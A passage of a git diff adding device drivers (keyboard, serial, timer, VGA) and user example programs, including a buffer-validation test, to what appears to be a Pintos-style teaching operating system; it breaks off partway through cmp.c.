+/* Initializes the keyboard. */
+void
+kbd_init (void)
+{
+ intr_register_ext (0x21, keyboard_interrupt, "8042 Keyboard");
+}
+
+/* Prints keyboard statistics. */
+void
+kbd_print_stats (void)
+{
+ printf ("Keyboard: %lld keys pressed\n", key_cnt);
+}
+
+/* Maps a set of contiguous scancodes into characters. */
+struct keymap
+ {
+ uint8_t first_scancode; /* First scancode. */
+ const char *chars; /* chars[0] has scancode first_scancode,
+ chars[1] has scancode first_scancode + 1,
+ and so on to the end of the string. */
+ };
+
+/* Keys that produce the same characters regardless of whether
+ the Shift keys are down. Case of letters is an exception
+ that we handle elsewhere. */
+static const struct keymap invariant_keymap[] =
+ {
+ {0x01, "\033"},
+ {0x0e, "\b"},
+ {0x0f, "\tQWERTYUIOP"},
+ {0x1c, "\r"},
+ {0x1e, "ASDFGHJKL"},
+ {0x2c, "ZXCVBNM"},
+ {0x37, "*"},
+ {0x39, " "},
+ {0, NULL},
+ };
+
+/* Characters for keys pressed without Shift, for those keys
+ where it matters. */
+static const struct keymap unshifted_keymap[] =
+ {
+ {0x02, "1234567890-="},
+ {0x1a, "[]"},
+ {0x27, ";'`"},
+ {0x2b, "\\"},
+ {0x33, ",./"},
+ {0, NULL},
+ };
+
+/* Characters for keys pressed with Shift, for those keys where
+ it matters. */
+static const struct keymap shifted_keymap[] =
+ {
+ {0x02, "!@#$%^&*()_+"},
+ {0x1a, "{}"},
+ {0x27, ":\"~"},
+ {0x2b, "|"},
+ {0x33, "<>?"},
+ {0, NULL},
+ };
+
+static bool map_key (const struct keymap[], unsigned scancode, uint8_t *);
+
+static void
+keyboard_interrupt (struct intr_frame *args UNUSED)
+{
+ /* Status of shift keys. */
+ bool shift = left_shift || right_shift;
+ bool alt = left_alt || right_alt;
+ bool ctrl = left_ctrl || right_ctrl;
+
+ /* Keyboard scancode. */
+ unsigned code;
+
+ /* False if key pressed, true if key released. */
+ bool release;
+
+ /* Character that corresponds to `code'. */
+ uint8_t c;
+
+ /* Read scancode, including second byte if prefix code. */
+ code = inb (DATA_REG);
+ if (code == 0xe0)
+ code = (code << 8) | inb (DATA_REG);
+
+ /* Bit 0x80 distinguishes key press from key release
+ (even if there's a prefix). */
+ release = (code & 0x80) != 0;
+ code &= ~0x80u;
+
+ /* Interpret key. */
+ if (code == 0x3a)
+ {
+ /* Caps Lock. */
+ if (!release)
+ caps_lock = !caps_lock;
+ }
+ else if (map_key (invariant_keymap, code, &c)
+ || (!shift && map_key (unshifted_keymap, code, &c))
+ || (shift && map_key (shifted_keymap, code, &c)))
+ {
+ /* Ordinary character. */
+ if (!release)
+ {
+ /* Handle Ctrl, Shift.
+ Note that Ctrl overrides Shift. */
+ if (ctrl && c >= 0x40 && c < 0x60)
+ {
+ /* A is 0x41, Ctrl+A is 0x01, etc. */
+ c -= 0x40;
+ }
+ else if (shift == caps_lock)
+ c = tolower (c);
+
+ /* Handle Alt by setting the high bit.
+ This 0x80 is unrelated to the one used to
+ distinguish key press from key release. */
+ if (alt)
+ c += 0x80;
+
+ /* Append to keyboard buffer. */
+ if (!input_full ())
+ {
+ key_cnt++;
+ input_putc (c);
+ }
+ }
+ }
+ else
+ {
+ /* Maps a keycode into a shift state variable. */
+ struct shift_key
+ {
+ unsigned scancode;
+ bool *state_var;
+ };
+
+ /* Table of shift keys. */
+ static const struct shift_key shift_keys[] =
+ {
+ { 0x2a, &left_shift},
+ { 0x36, &right_shift},
+ { 0x38, &left_alt},
+ {0xe038, &right_alt},
+ { 0x1d, &left_ctrl},
+ {0xe01d, &right_ctrl},
+ {0, NULL},
+ };
+
+ const struct shift_key *key;
+
+ /* Scan the table. */
+ for (key = shift_keys; key->scancode != 0; key++)
+ if (key->scancode == code)
+ {
+ *key->state_var = !release;
+ break;
+ }
+ }
+}
+
+/* Scans the array of keymaps K for SCANCODE.
+ If found, sets *C to the corresponding character and returns
+ true.
+ If not found, returns false and C is ignored. */
+static bool
+map_key (const struct keymap k[], unsigned scancode, uint8_t *c)
+{
+ for (; k->first_scancode != 0; k++)
+ if (scancode >= k->first_scancode
+ && scancode < k->first_scancode + strlen (k->chars))
+ {
+ *c = k->chars[scancode - k->first_scancode];
+ return true;
+ }
+
+ return false;
+}
diff --git a/src/devices/kbd.h b/src/devices/kbd.h
new file mode 100644
index 0000000..ed9c06b
--- /dev/null
+++ b/src/devices/kbd.h
@@ -0,0 +1,9 @@
+#ifndef DEVICES_KBD_H
+#define DEVICES_KBD_H
+
+#include <stdint.h>
+
+void kbd_init (void);
+void kbd_print_stats (void);
+
+#endif /* devices/kbd.h */
diff --git a/src/devices/serial.c b/src/devices/serial.c
new file mode 100644
index 0000000..f64074a
--- /dev/null
+++ b/src/devices/serial.c
@@ -0,0 +1,228 @@
+#include "devices/serial.h"
+#include <debug.h>
+#include "devices/input.h"
+#include "devices/intq.h"
+#include "devices/timer.h"
+#include "threads/io.h"
+#include "threads/interrupt.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+
+/* Register definitions for the 16550A UART used in PCs.
+ The 16550A has a lot more going on than shown here, but this
+ is all we need.
+
+ Refer to [PC16650D] for hardware information. */
+
+/* I/O port base address for the first serial port. */
+#define IO_BASE 0x3f8
+
+/* DLAB=0 registers. */
+#define RBR_REG (IO_BASE + 0) /* Receiver Buffer Reg. (read-only). */
+#define THR_REG (IO_BASE + 0) /* Transmitter Holding Reg. (write-only). */
+#define IER_REG (IO_BASE + 1) /* Interrupt Enable Reg.. */
+
+/* DLAB=1 registers. */
+#define LS_REG (IO_BASE + 0) /* Divisor Latch (LSB). */
+#define MS_REG (IO_BASE + 1) /* Divisor Latch (MSB). */
+
+/* DLAB-insensitive registers. */
+#define IIR_REG (IO_BASE + 2) /* Interrupt Identification Reg. (read-only) */
+#define FCR_REG (IO_BASE + 2) /* FIFO Control Reg. (write-only). */
+#define LCR_REG (IO_BASE + 3) /* Line Control Register. */
+#define MCR_REG (IO_BASE + 4) /* MODEM Control Register. */
+#define LSR_REG (IO_BASE + 5) /* Line Status Register (read-only). */
+
+/* Interrupt Enable Register bits. */
+#define IER_RECV 0x01 /* Interrupt when data received. */
+#define IER_XMIT 0x02 /* Interrupt when transmit finishes. */
+
+/* Line Control Register bits. */
+#define LCR_N81 0x03 /* No parity, 8 data bits, 1 stop bit. */
+#define LCR_DLAB 0x80 /* Divisor Latch Access Bit (DLAB). */
+
+/* MODEM Control Register. */
+#define MCR_OUT2 0x08 /* Output line 2. */
+
+/* Line Status Register. */
+#define LSR_DR 0x01 /* Data Ready: received data byte is in RBR. */
+#define LSR_THRE 0x20 /* THR Empty. */
+
+/* Transmission mode. */
+static enum { UNINIT, POLL, QUEUE } mode;
+
+/* Data to be transmitted. */
+static struct intq txq;
+
+static void set_serial (int bps);
+static void putc_poll (uint8_t);
+static void write_ier (void);
+static intr_handler_func serial_interrupt;
+
+/* Initializes the serial port device for polling mode.
+ Polling mode busy-waits for the serial port to become free
+ before writing to it. It's slow, but until interrupts have
+ been initialized it's all we can do. */
+static void
+init_poll (void)
+{
+ ASSERT (mode == UNINIT);
+ outb (IER_REG, 0); /* Turn off all interrupts. */
+ outb (FCR_REG, 0); /* Disable FIFO. */
+ set_serial (115200); /* 115.2 kbps, N-8-1. */
+ outb (MCR_REG, MCR_OUT2); /* Required to enable interrupts. */
+ intq_init (&txq);
+ mode = POLL;
+}
+
+/* Initializes the serial port device for queued interrupt-driven
+ I/O. With interrupt-driven I/O we don't waste CPU time
+ waiting for the serial device to become ready. */
+void
+serial_init_queue (void)
+{
+ enum intr_level old_level;
+
+ if (mode == UNINIT)
+ init_poll ();
+ ASSERT (mode == POLL);
+
+ intr_register_ext (0x20 + 4, serial_interrupt, "serial");
+ mode = QUEUE;
+ old_level = intr_disable ();
+ write_ier ();
+ intr_set_level (old_level);
+}
+
+/* Sends BYTE to the serial port. */
+void
+serial_putc (uint8_t byte)
+{
+ enum intr_level old_level = intr_disable ();
+
+ if (mode != QUEUE)
+ {
+ /* If we're not set up for interrupt-driven I/O yet,
+ use dumb polling to transmit a byte. */
+ if (mode == UNINIT)
+ init_poll ();
+ putc_poll (byte);
+ }
+ else
+ {
+ /* Otherwise, queue a byte and update the interrupt enable
+ register. */
+ if (old_level == INTR_OFF && intq_full (&txq))
+ {
+ /* Interrupts are off and the transmit queue is full.
+ If we wanted to wait for the queue to empty,
+ we'd have to reenable interrupts.
+ That's impolite, so we'll send a character via
+ polling instead. */
+ putc_poll (intq_getc (&txq));
+ }
+
+ intq_putc (&txq, byte);
+ write_ier ();
+ }
+
+ intr_set_level (old_level);
+}
+
+/* Flushes anything in the serial buffer out the port in polling
+ mode. */
+void
+serial_flush (void)
+{
+ enum intr_level old_level = intr_disable ();
+ while (!intq_empty (&txq))
+ putc_poll (intq_getc (&txq));
+ intr_set_level (old_level);
+}
+
+/* The fullness of the input buffer may have changed. Reassess
+ whether we should block receive interrupts.
+ Called by the input buffer routines when characters are added
+ to or removed from the buffer. */
+void
+serial_notify (void)
+{
+ ASSERT (intr_get_level () == INTR_OFF);
+ if (mode == QUEUE)
+ write_ier ();
+}
+
+/* Configures the serial port for BPS bits per second. */
+static void
+set_serial (int bps)
+{
+ int base_rate = 1843200 / 16; /* Base rate of 16550A, in Hz. */
+ uint16_t divisor = base_rate / bps; /* Clock rate divisor. */
+
+ ASSERT (bps >= 300 && bps <= 115200);
+
+ /* Enable DLAB. */
+ outb (LCR_REG, LCR_N81 | LCR_DLAB);
+
+ /* Set data rate. */
+ outb (LS_REG, divisor & 0xff);
+ outb (MS_REG, divisor >> 8);
+
+ /* Reset DLAB. */
+ outb (LCR_REG, LCR_N81);
+}
+
+/* Update interrupt enable register. */
+static void
+write_ier (void)
+{
+ uint8_t ier = 0;
+
+ ASSERT (intr_get_level () == INTR_OFF);
+
+ /* Enable transmit interrupt if we have any characters to
+ transmit. */
+ if (!intq_empty (&txq))
+ ier |= IER_XMIT;
+
+ /* Enable receive interrupt if we have room to store any
+ characters we receive. */
+ if (!input_full ())
+ ier |= IER_RECV;
+
+ outb (IER_REG, ier);
+}
+
+/* Polls the serial port until it's ready,
+ and then transmits BYTE. */
+static void
+putc_poll (uint8_t byte)
+{
+ ASSERT (intr_get_level () == INTR_OFF);
+
+ while ((inb (LSR_REG) & LSR_THRE) == 0)
+ continue;
+ outb (THR_REG, byte);
+}
+
+/* Serial interrupt handler. */
+static void
+serial_interrupt (struct intr_frame *f UNUSED)
+{
+ /* Inquire about interrupt in UART. Without this, we can
+ occasionally miss an interrupt running under QEMU. */
+ inb (IIR_REG);
+
+ /* As long as we have room to receive a byte, and the hardware
+ has a byte for us, receive a byte. */
+ while (!input_full () && (inb (LSR_REG) & LSR_DR) != 0)
+ input_putc (inb (RBR_REG));
+
+ /* As long as we have a byte to transmit, and the hardware is
+ ready to accept a byte for transmission, transmit a byte. */
+ while (!intq_empty (&txq) && (inb (LSR_REG) & LSR_THRE) != 0)
+ outb (THR_REG, intq_getc (&txq));
+
+ /* Update interrupt enable register based on queue status. */
+ write_ier ();
+}
diff --git a/src/devices/serial.h b/src/devices/serial.h
new file mode 100644
index 0000000..6e04778
--- /dev/null
+++ b/src/devices/serial.h
@@ -0,0 +1,11 @@
+#ifndef DEVICES_SERIAL_H
+#define DEVICES_SERIAL_H
+
+#include <stdint.h>
+
+void serial_init_queue (void);
+void serial_putc (uint8_t);
+void serial_flush (void);
+void serial_notify (void);
+
+#endif /* devices/serial.h */
diff --git a/src/devices/timer.c b/src/devices/timer.c
new file mode 100644
index 0000000..5bf8b27
--- /dev/null
+++ b/src/devices/timer.c
@@ -0,0 +1,204 @@
+#include "devices/timer.h"
+#include <debug.h>
+#include <inttypes.h>
+#include <round.h>
+#include <stdio.h>
+#include "threads/interrupt.h"
+#include "threads/io.h"
+#include "threads/synch.h"
+#include "threads/thread.h"
+
+/* See [8254] for hardware details of the 8254 timer chip. */
+
+#if TIMER_FREQ < 19
+#error 8254 timer requires TIMER_FREQ >= 19
+#endif
+#if TIMER_FREQ > 1000
+#error TIMER_FREQ <= 1000 recommended
+#endif
+
+/* Number of timer ticks since OS booted. */
+static int64_t ticks;
+
+/* Number of loops per timer tick.
+ Initialized by timer_calibrate(). */
+static unsigned loops_per_tick;
+
+static intr_handler_func timer_interrupt;
+static bool too_many_loops (unsigned loops);
+static void busy_wait (int64_t loops);
+static void real_time_sleep (int64_t num, int32_t denom);
+
+/* Sets up the 8254 Programmable Interval Timer (PIT) to
+ interrupt PIT_FREQ times per second, and registers the
+ corresponding interrupt. */
+void
+timer_init (void)
+{
+ /* 8254 input frequency divided by TIMER_FREQ, rounded to
+ nearest. */
+ uint16_t count = (1193180 + TIMER_FREQ / 2) / TIMER_FREQ;
+
+ outb (0x43, 0x34); /* CW: counter 0, LSB then MSB, mode 2, binary. */
+ outb (0x40, count & 0xff);
+ outb (0x40, count >> 8);
+
+ intr_register_ext (0x20, timer_interrupt, "8254 Timer");
+}
+
+/* Calibrates loops_per_tick, used to implement brief delays. */
+void
+timer_calibrate (void)
+{
+ unsigned high_bit, test_bit;
+
+ ASSERT (intr_get_level () == INTR_ON);
+ printf ("Calibrating timer... ");
+
+ /* Approximate loops_per_tick as the largest power-of-two
+ still less than one timer tick. */
+ loops_per_tick = 1u << 10;
+ while (!too_many_loops (loops_per_tick << 1))
+ {
+ loops_per_tick <<= 1;
+ ASSERT (loops_per_tick != 0);
+ }
+
+ /* Refine the next 8 bits of loops_per_tick. */
+ high_bit = loops_per_tick;
+ for (test_bit = high_bit >> 1; test_bit != high_bit >> 10; test_bit >>= 1)
+ if (!too_many_loops (high_bit | test_bit))
+ loops_per_tick |= test_bit;
+
+ printf ("%'"PRIu64" loops/s.\n", (uint64_t) loops_per_tick * TIMER_FREQ);
+}
+
+/* Returns the number of timer ticks since the OS booted. */
+int64_t
+timer_ticks (void)
+{
+ enum intr_level old_level = intr_disable ();
+ int64_t t = ticks;
+ intr_set_level (old_level);
+ barrier ();
+ return t;
+}
+
+/* Returns the number of timer ticks elapsed since THEN, which
+ should be a value once returned by timer_ticks(). */
+int64_t
+timer_elapsed (int64_t then)
+{
+ return timer_ticks () - then;
+}
+
+/* Suspends execution for approximately TICKS timer ticks. */
+void
+timer_sleep (int64_t ticks)
+{
+ int64_t start = timer_ticks ();
+
+ ASSERT (intr_get_level () == INTR_ON);
+ while (timer_elapsed (start) < ticks)
+ thread_yield (); /* BUSY WAIT. Unacceptable. For you to fix. */
+}
+
+/* Suspends execution for approximately MS milliseconds. */
+void
+timer_msleep (int64_t ms)
+{
+ real_time_sleep (ms, 1000);
+}
+
+/* Suspends execution for approximately US microseconds. */
+void
+timer_usleep (int64_t us)
+{
+ real_time_sleep (us, 1000 * 1000);
+}
+
+/* Suspends execution for approximately NS nanoseconds. */
+void
+timer_nsleep (int64_t ns)
+{
+ real_time_sleep (ns, 1000 * 1000 * 1000);
+}
+
+/* Prints timer statistics. */
+void
+timer_print_stats (void)
+{
+ printf ("Timer: %"PRId64" ticks\n", timer_ticks ());
+}
+
+/* Timer interrupt handler. */
+static void
+timer_interrupt (struct intr_frame *args UNUSED)
+{
+ ticks++;
+ thread_tick ();
+}
+
+/* Returns true if LOOPS iterations waits for more than one timer
+ tick, otherwise false. */
+static bool
+too_many_loops (unsigned loops)
+{
+ /* Wait for a timer tick. */
+ int64_t start = ticks;
+ while (ticks == start)
+ barrier ();
+
+ /* Run LOOPS loops. */
+ start = ticks;
+ busy_wait (loops);
+
+ /* If the tick count changed, we iterated too long. */
+ barrier ();
+ return start != ticks;
+}
+
+/* Iterates through a simple loop LOOPS times, for implementing
+ brief delays.
+
+ Marked NO_INLINE because code alignment can significantly
+ affect timings, so that if this function was inlined
+ differently in different places the results would be difficult
+ to predict. */
+static void NO_INLINE
+busy_wait (int64_t loops)
+{
+ while (loops-- > 0)
+ barrier ();
+}
+
+/* Sleep for approximately NUM/DENOM seconds. */
+static void
+real_time_sleep (int64_t num, int32_t denom)
+{
+ /* Convert NUM/DENOM seconds into timer ticks, rounding down.
+
+ (NUM / DENOM) s
+ ---------------------- = NUM * TIMER_FREQ / DENOM ticks.
+ 1 s / TIMER_FREQ ticks
+ */
+ int64_t ticks = num * TIMER_FREQ / denom;
+
+ ASSERT (intr_get_level () == INTR_ON);
+ if (ticks > 0)
+ {
+ /* We're waiting for at least one full timer tick. Use
+ timer_sleep() because it will yield the CPU to other
+ processes. */
+ timer_sleep (ticks);
+ }
+ else
+ {
+ /* Otherwise, use a busy-wait loop for more accurate
+ sub-tick timing. We scale the numerator and denominator
+ down by 1000 to avoid the possibility of overflow. */
+ ASSERT (denom % 1000 == 0);
+ busy_wait (loops_per_tick * num / 1000 * TIMER_FREQ / (denom / 1000));
+ }
+}
+
diff --git a/src/devices/timer.h b/src/devices/timer.h
new file mode 100644
index 0000000..45a3f72
--- /dev/null
+++ b/src/devices/timer.h
@@ -0,0 +1,23 @@
+#ifndef DEVICES_TIMER_H
+#define DEVICES_TIMER_H
+
+#include <round.h>
+#include <stdint.h>
+
+/* Number of timer interrupts per second. */
+#define TIMER_FREQ 100
+
+void timer_init (void);
+void timer_calibrate (void);
+
+int64_t timer_ticks (void);
+int64_t timer_elapsed (int64_t);
+
+void timer_sleep (int64_t ticks);
+void timer_msleep (int64_t milliseconds);
+void timer_usleep (int64_t microseconds);
+void timer_nsleep (int64_t nanoseconds);
+
+void timer_print_stats (void);
+
+#endif /* devices/timer.h */
diff --git a/src/devices/vga.c b/src/devices/vga.c
new file mode 100644
index 0000000..8255747
--- /dev/null
+++ b/src/devices/vga.c
@@ -0,0 +1,165 @@
+#include "devices/vga.h"
+#include <round.h>
+#include <stdint.h>
+#include <stddef.h>
+#include <string.h>
+#include "threads/io.h"
+#include "threads/interrupt.h"
+#include "threads/vaddr.h"
+
+/* VGA text screen support. See [FREEVGA] for more information. */
+
+/* Number of columns and rows on the text display. */
+#define COL_CNT 80
+#define ROW_CNT 25
+
+/* Current cursor position. (0,0) is in the upper left corner of
+ the display. */
+static size_t cx, cy;
+
+/* Attribute value for gray text on a black background. */
+#define GRAY_ON_BLACK 0x07
+
+/* Framebuffer. See [FREEVGA] under "VGA Text Mode Operation".
+ The character at (x,y) is fb[y][x][0].
+ The attribute at (x,y) is fb[y][x][1]. */
+static uint8_t (*fb)[COL_CNT][2];
+
+static void clear_row (size_t y);
+static void cls (void);
+static void newline (void);
+static void move_cursor (void);
+static void find_cursor (size_t *x, size_t *y);
+
+/* Initializes the VGA text display. */
+static void
+init (void)
+{
+ /* Already initialized? */
+ static bool inited;
+ if (!inited)
+ {
+ fb = ptov (0xb8000);
+ find_cursor (&cx, &cy);
+ inited = true;
+ }
+}
+
+/* Writes C to the VGA text display, interpreting control
+ characters in the conventional ways. */
+void
+vga_putc (int c)
+{
+ /* Disable interrupts to lock out interrupt handlers
+ that might write to the console. */
+ enum intr_level old_level = intr_disable ();
+
+ init ();
+
+ switch (c)
+ {
+ case '\n':
+ newline ();
+ break;
+
+ case '\f':
+ cls ();
+ break;
+
+ case '\b':
+ if (cx > 0)
+ cx--;
+ break;
+
+ case '\r':
+ cx = 0;
+ break;
+
+ case '\t':
+ cx = ROUND_UP (cx + 1, 8);
+ if (cx >= COL_CNT)
+ newline ();
+ break;
+
+ default:
+ fb[cy][cx][0] = c;
+ fb[cy][cx][1] = GRAY_ON_BLACK;
+ if (++cx >= COL_CNT)
+ newline ();
+ break;
+ }
+
+ /* Update cursor position. */
+ move_cursor ();
+
+ intr_set_level (old_level);
+}
+
+/* Clears the screen and moves the cursor to the upper left. */
+static void
+cls (void)
+{
+ size_t y;
+
+ for (y = 0; y < ROW_CNT; y++)
+ clear_row (y);
+
+ cx = cy = 0;
+ move_cursor ();
+}
+
+/* Clears row Y to spaces. */
+static void
+clear_row (size_t y)
+{
+ size_t x;
+
+ for (x = 0; x < COL_CNT; x++)
+ {
+ fb[y][x][0] = ' ';
+ fb[y][x][1] = GRAY_ON_BLACK;
+ }
+}
+
+/* Advances the cursor to the first column in the next line on
+ the screen. If the cursor is already on the last line on the
+ screen, scrolls the screen upward one line. */
+static void
+newline (void)
+{
+ cx = 0;
+ cy++;
+ if (cy >= ROW_CNT)
+ {
+ cy = ROW_CNT - 1;
+ memmove (&fb[0], &fb[1], sizeof fb[0] * (ROW_CNT - 1));
+ clear_row (ROW_CNT - 1);
+ }
+}
+
+/* Moves the hardware cursor to (cx,cy). */
+static void
+move_cursor (void)
+{
+ /* See [FREEVGA] under "Manipulating the Text-mode Cursor". */
+ uint16_t cp = cx + COL_CNT * cy;
+ outw (0x3d4, 0x0e | (cp & 0xff00));
+ outw (0x3d4, 0x0f | (cp << 8));
+}
+
+/* Reads the current hardware cursor position into (*X,*Y). */
+static void
+find_cursor (size_t *x, size_t *y)
+{
+ /* See [FREEVGA] under "Manipulating the Text-mode Cursor". */
+ uint16_t cp;
+
+ outb (0x3d4, 0x0e);
+ cp = inb (0x3d5) << 8;
+
+ outb (0x3d4, 0x0f);
+ cp |= inb (0x3d5);
+
+ *x = cp % COL_CNT;
+ *y = cp / COL_CNT;
+}
diff --git a/src/devices/vga.h b/src/devices/vga.h
new file mode 100644
index 0000000..59690fb
--- /dev/null
+++ b/src/devices/vga.h
@@ -0,0 +1,6 @@
+#ifndef DEVICES_VGA_H
+#define DEVICES_VGA_H
+
+void vga_putc (int);
+
+#endif /* devices/vga.h */
diff --git a/src/examples/.cvsignore b/src/examples/.cvsignore
new file mode 100644
index 0000000..a9e09d7
--- /dev/null
+++ b/src/examples/.cvsignore
@@ -0,0 +1,19 @@
+cat
+cmp
+cp
+echo
+halt
+hex-dump
+ls
+mcat
+mcp
+mkdir
+pwd
+rm
+shell
+bubsort
+insult
+lineup
+matmult
+recursor
+*.d
diff --git a/src/examples/Makefile b/src/examples/Makefile
new file mode 100644
index 0000000..5b4f6c3
--- /dev/null
+++ b/src/examples/Makefile
@@ -0,0 +1,60 @@
+SRCDIR = ..
+
+# Test programs to compile, and a list of sources for each.
+# To add a new test, put its name on the PROGS list
+# and then add a name_SRC line that lists its source files.
+PROGS = cat cmp cp echo halt hex-dump ls mcat mcp mkdir pwd rm shell \
+ bubsort insult lineup matmult recursor \
+ sumargv pfs pfs_reader pfs_writer dummy longrun \
+ child parent generic_parent longrun_interactive busy \
+ line_echo file_syscall_tests longrun_nowait shellcode \
+ crack overflow dir_stress create_file create_remove_file
+
+# Added test programs
+sumargv_SRC = sumargv.c
+pfs_SRC = pfs.c
+pfs_reader_SRC = pfs_reader.c
+pfs_writer_SRC = pfs_writer.c
+longrun_SRC = longrun.c
+longrun_nowait_SRC = longrun_nowait.c
+longrun_interactive_SRC = longrun_interactive.c
+dummy_SRC = dummy.c
+busy_SRC = busy.c
+child_SRC = child.c
+parent_SRC = parent.c
+generic_parent_SRC = generic_parent.c
+line_echo_SRC = line_echo.c
+file_syscall_tests_SRC = file_syscall_tests.c
+shellcode_SRC = shellcode.c
+crack_SRC = crack.c
+overflow_SRC = overflow.c
+dir_stress_SRC = dir_stress.c
+create_file_SRC = create_file.c
+create_remove_file_SRC = create_remove_file.c
+
+# Should work from project 2 onward.
+cat_SRC = cat.c
+cmp_SRC = cmp.c
+cp_SRC = cp.c
+echo_SRC = echo.c
+halt_SRC = halt.c
+hex-dump_SRC = hex-dump.c
+insult_SRC = insult.c
+lineup_SRC = lineup.c
+ls_SRC = ls.c
+recursor_SRC = recursor.c
+rm_SRC = rm.c
+
+# Should work in project 3; also in project 4 if VM is included.
+bubsort_SRC = bubsort.c
+matmult_SRC = matmult.c
+mcat_SRC = mcat.c
+mcp_SRC = mcp.c
+
+# Should work in project 4.
+mkdir_SRC = mkdir.c
+pwd_SRC = pwd.c
+shell_SRC = shell.c
+
+include $(SRCDIR)/Make.config
+include $(SRCDIR)/Makefile.userprog
diff --git a/src/examples/bubsort.c b/src/examples/bubsort.c
new file mode 100644
index 0000000..343219e
--- /dev/null
+++ b/src/examples/bubsort.c
@@ -0,0 +1,38 @@
+/* sort.c
+
+ Test program to sort a large number of integers.
+
+ Intention is to stress virtual memory system.
+
+ Ideally, we could read the unsorted array off of the file
+ system, and store the result back to the file system! */
+#include <stdio.h>
+
+/* Size of array to sort. */
+#define SORT_SIZE 128
+
+int
+main (void)
+{
+ /* Array to sort. Static to reduce stack usage. */
+ static int array[SORT_SIZE];
+
+ int i, j, tmp;
+
+ /* First initialize the array in descending order. */
+ for (i = 0; i < SORT_SIZE; i++)
+ array[i] = SORT_SIZE - i - 1;
+
+ /* Then sort in ascending order. */
+ for (i = 0; i < SORT_SIZE - 1; i++)
+ for (j = 0; j < SORT_SIZE - 1 - i; j++)
+ if (array[j] > array[j + 1])
+ {
+ tmp = array[j];
+ array[j] = array[j + 1];
+ array[j + 1] = tmp;
+ }
+
+ printf ("sort exiting with code %d\n", array[0]);
+ return array[0];
+}
diff --git a/src/examples/buffer_with_hole.c b/src/examples/buffer_with_hole.c
new file mode 100644
index 0000000..8d81009
--- /dev/null
+++ b/src/examples/buffer_with_hole.c
@@ -0,0 +1,52 @@
+/* klaar@ida
+
+ Create a buffer that spans invalid pages. Used to check memory
+ verification.
+ */
+#include <stdio.h>
+#include <stdlib.h>
+#include <syscall.h>
+
+/* global variables are placed by the compiler in the process image,
+ * among the initialized variables
+ * the process image is loaded at the bottom of the virtual memory space
+ */
+char global = 0;
+
+int main (int argc, char *argv[])
+{
+ /* local variables are allocated on the proces stack during runtime
+ * the stack is at top of the virtual memory space
+ */
+ char local = 0;
+ int fd;
+ int count;
+ unsigned l, g;
+
+ /* both adresses will of course be valid */
+ printf("global: %p\n", &global);
+ printf("local : %p\n", &local);
+
+ /* and a pointer starting at the global variable adress, and ending
+ * at the local variable addres will have valid start and end
+ * but will all addresses (about 3 GB) inbetween be valid?
+ */
+ l = (unsigned)&local;
+ g = (unsigned)&global;
+ printf("size : %u MiB\n", (l - g)/1024/1024);
+
+ create("somefile", 1000);
+ fd = open("somefile");
+
+ /* this tries to use the buffer (it should fail verification) */
+ count = read(fd, &global, (l - g + 1));
+ printf("read %i out of %u bytes\n", count, (l - g + 1));
+
+ /* this tries to use a buffer probably ending before the stack */
+ count = read(fd, &global, (l - g + 1) - 4096);
+ printf("read %i out of %u bytes\n", count, (l - g + 1) - 4096);
+
+ close(fd);
+
+ return 0;
+}
diff --git a/src/examples/busy.c b/src/examples/busy.c
new file mode 100644
index 0000000..cec5fcf
--- /dev/null
+++ b/src/examples/busy.c
@@ -0,0 +1,27 @@
+/* klaar@ida
+
+ Just do some work, and then exit with status given by first
+ argument.
+
+ Normally called by some parent test program.
+ */
+
+#include <syscall.h>
+#include <stdlib.h>
+#include <stdio.h>
+
+int main (int argc, char* argv[])
+{
+ int i;
+
+ if (argc != 2)
+ return 0;
+
+ for(i = 0; i < 200000; i++)
+ {
+ int a = (i * i) + (i * i);
+ int b = i;
+ i = a; a = b; i = b;
+ }
+ return atoi(argv[1]);
+}
diff --git a/src/examples/cat.c b/src/examples/cat.c
new file mode 100644
index 0000000..c8d229d
--- /dev/null
+++ b/src/examples/cat.c
@@ -0,0 +1,34 @@
+/* cat.c
+
+ Prints files specified on command line to the console. */
+
+#include <stdio.h>
+#include <syscall.h>
+
+int
+main (int argc, char *argv[])
+{
+ bool success = true;
+ int i;
+
+ for (i = 1; i < argc; i++)
+ {
+ int fd = open (argv[i]);
+ if (fd < 0)
+ {
+ printf ("%s: open failed\n", argv[i]);
+ success = false;
+ continue;
+ }
+ for (;;)
+ {
+ char buffer[1024];
+ int bytes_read = read (fd, buffer, sizeof buffer);
+ if (bytes_read == 0)
+ break;
+ write (STDOUT_FILENO, buffer, bytes_read);
+ }
+ close (fd);
+ }
+ return success ? EXIT_SUCCESS : EXIT_FAILURE;
+}
diff --git a/src/examples/child.c b/src/examples/child.c
new file mode 100644
index 0000000..f39b18d
--- /dev/null
+++ b/src/examples/child.c
@@ -0,0 +1,27 @@
+/* klaar@ida
+
+ Just do some work, print a message, and then exit successfully.
+
+ Normally called by some parent test program.
+ */
+
+#include <syscall.h>
+#include <stdio.h>
+
+int main (int argc, char* argv[])
+{
+ int i;
+
+ if (argc != 2)
+ return 0;
+
+ for(i = 0; i < 20000; i++)
+ {
+ int a = (i * i) + (i * i);
+ int b = i;
+ i = a; a = b; i = b;
+ }
+ printf("PASS Lab %s ON Time.\n", argv[1]);
+
+ return 0;
+}
diff --git a/src/examples/cmp.c b/src/examples/cmp.c
new file mode 100644
index 0000000..94b406d
--- /dev/null
+++ b/src/examples/cmp.c
@@ -0,0 +1,68 @@
+/* cat.c
+
+ Compares two files. */
+
+#include <stdio.h>
+#include <syscall.h>
+
+int
+main (int argc, char *argv[])
+{
+ int fd[2];
+
+ if (argc != 3)
+ {
+ printf ("usage: cmp A B\n");
+ return EXIT_FAILURE;
+ }
+
+ /* Open files. */
+ fd[0] = open (argv[1]);
+ if (fd[0] < 0)
+ {
+ printf ("%s: open failed\n", argv[1]);
+ return EXIT_FAILURE;
+ }
+ fd[1] = open (argv[2]);
+ if (fd[1] < 0)
+ {
+ printf ("%s: open failed\n", argv[1]);
+ return EXIT_FAILURE;
+ }
+
+ /* Compare data. */
+ for (;;)
+ {
+ int pos;
+ char buffer[2][1024];
+ int bytes_read[2];
+ int min_read;
+ int i;
+
+ pos = tell (fd[0]);
+ bytes_read[0] = read (fd[0], buffer[0], sizeof buffer[0]);
+ bytes_read[1] = read (fd[1], buffer[1], sizeof buffer[1]);
+ min_read = bytes_read[0] < bytes_read[1] ? bytes_read[0] : bytes_read[1];
+ if (min_read == 0)
+ break;
+
+ for (i = 0; i < min_read; i++)
+ if (buffer[0][i] != buffer[1][i])
+ {
+ printf ("Byte %d is %02hhx ('%c') in %s but %02hhx ('%c') in %s\n",
+ pos + i,
